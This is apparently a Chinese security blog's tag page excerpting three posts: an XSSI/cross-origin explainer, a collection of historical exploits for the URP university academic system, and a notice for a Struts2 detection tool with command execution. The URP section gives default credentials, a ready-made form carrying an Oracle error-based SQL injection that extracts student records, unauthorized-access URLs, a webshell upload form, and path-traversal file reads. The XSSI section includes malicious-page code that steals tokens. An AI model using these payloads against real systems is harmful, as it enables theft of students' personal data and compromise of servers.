Tag:漏洞

Tag (漏洞)'s result:

XSSI/JSONP/flash/CORS跨域漏洞总结

0x00 同源策略(SOP)和跨域 SOP: URL Result Reason http://store.company.com/dir2/other.html Success – http://store.company.com/dir/inner/another.html Success – https://store.company.com/secure.html Failure Different protocol http://store.company.com:81/dir/etc.html Failure Different port http://news.company.com/dir/other.html Failure Different host <script>允许跨域加载资源 所有带src或href属性的标签以及部分其他标签可以跨域: <script src=”…”></script> <img src=”…”> <video src=”…”></video> <audio src=”…”></audio> <embed src=”…”> <frame src=”…”> <iframe src=”…”></iframe> <link rel=”stylesheet” href=”…”> <applet code=”…”></applet> <object data=”…” ></object> @font-face可以引入跨域字体。 <style type=”text/css”> @font-face { src: url(“http://developer.mozilla.org/@api/deki/files/2934/=VeraSeBd.ttf”); } </style> SOP和CORS,都是浏览器阻止了响应,而非拦截请求。   0x01 XSSI Cross-Site Scrite Inclusion 传统的XSSI攻击场景:恶意页面B使用script标签包含了目标网站A用来储存敏感数据的信息源C(可能是动态脚本、文件或响应),当攻击者引导受害者访问B时,由于受害者此时在A处于登录态,B可以轻松获取C中包含的受害者的敏感信息。 0. 静态的JavaScript(常规XSSI) <html> <head> <title>Regular XSSI</title> <script src=”https://www.vulnerable-domain.tld/script.js”></script> </head> <body> <script> alert(JSON.stringify(keys[0])); </script> </body> </html> //直接访问该js即可获取敏感信息,但一般都是攻击认证后包含敏感信息的js 1. 动态JavaScript 利用网上的代码作为例子:敏感数据在局部变量,通过重写函数窃取 (function(){ var token = getToken(); doSomeThing(token); })(); function getToken(){ len = 16 || 32; var $chars = ‘ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz012345678’; var maxPos = $chars.length; var pwd = ”; for (i = 0; i < len; i++) { pwd += $chars.charAt(Math.floor(Math.random() * maxPos)); } return pwd; } 重写doSomeThing() <!–恶意页面–> <html> <head> <title>XSSI Attack</title> <script type=”text/javascript”> window.data = ”; function doSomeThing(d){ window.data = d; } </script> </head> <body> <h2>XSSI Attack</h2> <p id=”leaked_content”></p> <script type=”text/javascript” src=”http://192.168.10.130:81/secret.js”></script> <script type=”text/javascript” src=”jquery-3.3.1″></script> <script type=”text/javascript”> $(‘#leaked_content’).text(window.data); </script> </body> </html> 更多全局变量/函数/功能参数/原型链的情况可以参考:https://www.mi1k7ea.com/2020/01/04/浅析XSSI漏洞/ 2. 非JavaScript ie bug(<10): 为了防止js错误信息跨域泄漏,对于外部加载的js文件,现在主流的浏览器只有固定的错误信息,比如“script error”,但是在ie9与ie10,情况不一定如此。……

URP教务系统历史漏洞集合

主要参考wooyun 账号密码构成 教师 21071 21071 21072 21072   学生 2016517109 2016517109 2016046126 201604612 账号和密码相同,或密码身份证后6位或123456   1. SQL注入 <html> <form action=”http://xxx.edu.cn/servlet/com.runqian.report.input.UploadFile2DBServlet” method=”post” enctype=”multipart/form-data”> <label for=”file”>Filename:</label> <input type=”file” name=”file” id=”file” /> cachedId:<input type=”text” name=”update” value=”tbl=dual;keyValue=2;keyCol=1;updateValue=1;updateCol=1″> srcType:<input type=”text” name=”xh” value=”test”> <input type=”text” name=”processor” value=”com.runqian.report.input.AbstractProcessor”> <input type=”text” name=”backAndRefresh” value=”test”> <input type=”text” name=”webTableName” value=”test11″> <input type=”text” name=”importTo” value=”text”> <input type=”text” name=”params” value=”params”> <br /> <input type=”submit” name=”submit” value=”Submit” /> </form> </html> 随便上传一个文件,上传时抓包 update填tbl=dual;keyValue=2;keyCol=1;updateValue=1;updateCol=1 此时是因为keyCol=1,1这个列索引不存在 此处直接在tbl处注入,把后面的东西注释掉就好了 因为开启了oracle报错。 那就简单了。 报错注入下 以爆数据库名为例 update内容为 tbl=dual/**/where/**/1=to_char(dbms_xmlgen.getxml(‘select “‘||(select user from sys.dual)||’” from sys.dual’))–;keyValue=1;keyCol=1;updateValue=1;updateCol=1; 然后注入出一条数据为例 udpate内容为 tbl=dual/**/where/**/1=to_char(dbms_xmlgen.getxml(‘select “‘||(select xh||’#’||xm||’#’||xb from xs_xjb where rownum=1)||’” from sys.dual’))–;keyValue=1;keyCol=1;updateValue=1;updateCol=1;   2. 越权 1) 需登录 http://ip/jmglAction.do?oper=xsmdcx http://ip/gradeLnAllAction.do?type=ln&oper=qb&cjbh=学号   2) /cmenu/menu.jsp   访问后 reportIndex.jsp /index/tree.jsp /reportIndex.jsp 越权获取信息   3) 登录 fileUploadDownloadAction.do?actionType=1 越权删除他人文件改id 文件名xss   4) 登录 reportAction.do   5) 登录 /reportFiles/cj/cj_zwcjd.jsp   3. 任意文件上传 <form action=”http://x.x.x.x/lwUpLoad_action.jsp” method=”post” enctype=”multipart/form-data” > <input type=”file” name=”theFile” id=”File”/> <input type=”text” name=”xh” id=”context”/> <input type=”submit” value=”show me the shell” > </form>   4. 任意文件读取 com.runqian.report.view.html.GraphServlet?picFile=../../../../../../../../conf/resin.conf http://x.x.x.x/servlet/com.runqian.base.util.ReadJavaScriptServlet?file=../../../../../../../../conf/resin.conf

s2sniper开源分享:针对struts2漏洞的检测工具

//声明:此工具只能用于教育学习和安全检测,不得用于非法用途,此工具引发的一切非法后果皆与本人无关! 0x00 简介: 这是一款针对struts2的漏洞检测工具,目前支持检测045,046,048,并且可以继续添加,可批量,可自定义线程数。 github 地址:https://github.com/theLSA/s2sniper/ 0x01 功能描述: 1.单url检测。 2.批量url检测。 3.命令执行。 4.程序执行日志记录。 0x02 使用方法: python s2sniper.py -h 单url直接输出结果,批量的结果保存在result文件夹。 0x03 效果图: 使用帮助: 批量检测: 单url检测: 命令执行: 0x04 结语: 简单的小工具,后续会不断完善,欢迎大家反馈bug和建议!